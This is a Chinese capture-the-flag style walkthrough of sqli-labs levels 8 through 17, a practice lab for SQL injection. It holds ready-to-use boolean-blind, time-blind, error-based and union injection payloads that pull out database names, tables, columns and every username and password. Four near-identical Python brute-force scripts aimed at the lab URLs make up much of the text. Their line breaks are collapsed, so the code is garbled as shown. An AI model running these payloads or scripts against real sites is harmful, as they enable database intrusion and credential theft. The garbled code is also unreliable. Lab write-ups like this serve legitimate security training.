8、第八关（布尔盲注）

id=1显示You are in...........，id=1'单引号不显示，id=1' --+显示正常

这个应该是单引号闭合，接下来就和第七关差不多上脚本

爆库名长度：id=1%27%20and%20length(database())={i}%20--+

爆库名：id=1%27%20and%20substr(database(),{p},1)=%22{a}%22%20--+

爆表名：id=1%27%20and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)=\"{a}\"%20--+

爆users表字段名：id=1%27%20and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),{p},1)=\"{a}\"%20--+

9、第九关（时间盲注）

根据提示是单引号时间盲注

尝试id=1' union select 1,2,sleep(1)%20 --+后页面加载超过1秒，但没有任何变化

确定时间盲注后，脚本爆库

爆数据库：id=1'  and%20if(substr(database(),{p},1)=%27{a}%27,sleep(5),0) --+

爆表名：id=1' and%20if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)=\"{a}\",sleep(5),0)%20--+

爆users表字段名：id=1%27%20and%20if(substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)=\"{a}\",sleep(5),0)%20--+

爆users表账号密码：id=1%27%20and%20if(substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27,sleep(5),0)%20--+

import string

10、第十关

这关和第九关一样，只是单引号闭合变成了双引号闭合

id=1" and if(1=1,sleep(1),0) --+

爆数据库：id=1"  and%20if(substr(database(),{p},1)=%27{a}%27,sleep(5),0) --+

爆表名：id=1" and%20if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)=\"{a}\",sleep(5),0)%20--+

爆users表字段名：id=1%22%20and%20if(substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)=\"{a}\",sleep(5),0)%20--+

爆users表账号密码：id=1%22%20and%20if(substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27,sleep(5),0)%20--+

11、第十一关（报错注入）

这个是post单引号闭合，直接用报错注入即可

直接爆库uname=admin' and extractvalue(1,concat(0x7e,database(),0x7e))--+&passwd=admin&submit=Submit

uname=admin' and false union select 1,2 --+&passwd=admin&submit=Submit爆出查询位置

爆出所有表uname=admin' and false union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+&passwd=admin&submit=Submit

爆出users表字段admin' and false union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+

爆出所有账号密码admin' and false union select 1,group_concat(username,':',password) from users--+

12、第十二关uname=admin"&passwd=admin&submit=Submit双引号报错，应该是双引号闭合

admin" --+也报错，admin") --+正常，应该是双引号加括号闭合

接下来步骤和十一关差不多

爆库：uname=admin") and false union select 1,database() --+

爆表：uname=admin") and false union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段：uname=admin") and false union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

爆账号密码：uname=admin") and false union select 1,group_concat(username,':',password) from users --+

13、第十三关（布尔盲注，报错注入）

admin:admin显示登陆成功

admin111:admin显示登录失败

uname=admin111' --+报错

uname=admin111') --+没报错，应该是单引号加括号闭合

这个算是POST布尔盲注，也可报错注入，直接盲注上脚本

import stringimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-13/"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin') and substr(database(),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.text) == 1493:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin') and substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1493:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin') and substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1493:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin') and substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1493:users = f"{users}{a}"print(a, end='')num = 0

14、第十四关（布尔盲注，报错注入）

uname=admin"&passwd=admin&submit=Submit，双引号报错，有报错显示，可用报错注入

uname=admin" --+&passwd=admin&submit=Submit正常显示，说明双引号闭合，而且有登陆成功和失败两种状态，可用布尔盲注，正确返回内容长度1494

接下来上脚本，和上面关卡类似

import stringimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-14/"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin\" and substr(database(),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.text) == 1494:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin\" and substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1494:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin\" and substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1494:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin\" and substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1494:users = f"{users}{a}"print(a, end='')num = 0

15、第十五关（布尔盲注）

uname=admin&passwd=admin&submit=Submit显示登陆成功

uname=admin'&passwd=admin&submit=Submit显示登陆失败uname=admin' --+&passwd=admin&submit=Submit也成功，那就应该是单引号闭合，可以POST布尔盲注

正确返回内容长度1492，接下来上脚本

import stringimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-15/"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin' and substr(database(),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.text) == 1492:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin' and substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1492:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin' and substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1492:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin' and substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1492:users = f"{users}{a}"print(a, end='')num = 0

16、第十六关

经过多次尝试，uname=admin")--+&passwd=admin&submit=Submit登陆成功，应该是双引号加括号闭合

登陆成功的内容长度是1504，还是跑脚本

import stringimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-16/"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin\") and substr(database(),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.text) == 1504:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin\") and substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1504:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin\") and substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1504:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"uname": f"admin\") and substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "submit": "Submit"})if len(res.content) == 1504:users = f"{users}{a}"print(a, end='')num = 0

17、第十七关

这个是重置密码的，经测试password参数是单引号闭合

爆库：uname=admin&passwd=admin1' and (extractvalue(1,concat(0x7e,database(),0x7e)))#&submit=Submit

爆表：uname=admin&passwd=111' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#&submit=Submit

爆字段：uname=admin&passwd=111' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e)))#&submit=Submit

爆账号密码：uname=admin&passwd=1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c))) or '&submit=Submit

这个好像报不出来，显示不让查users表
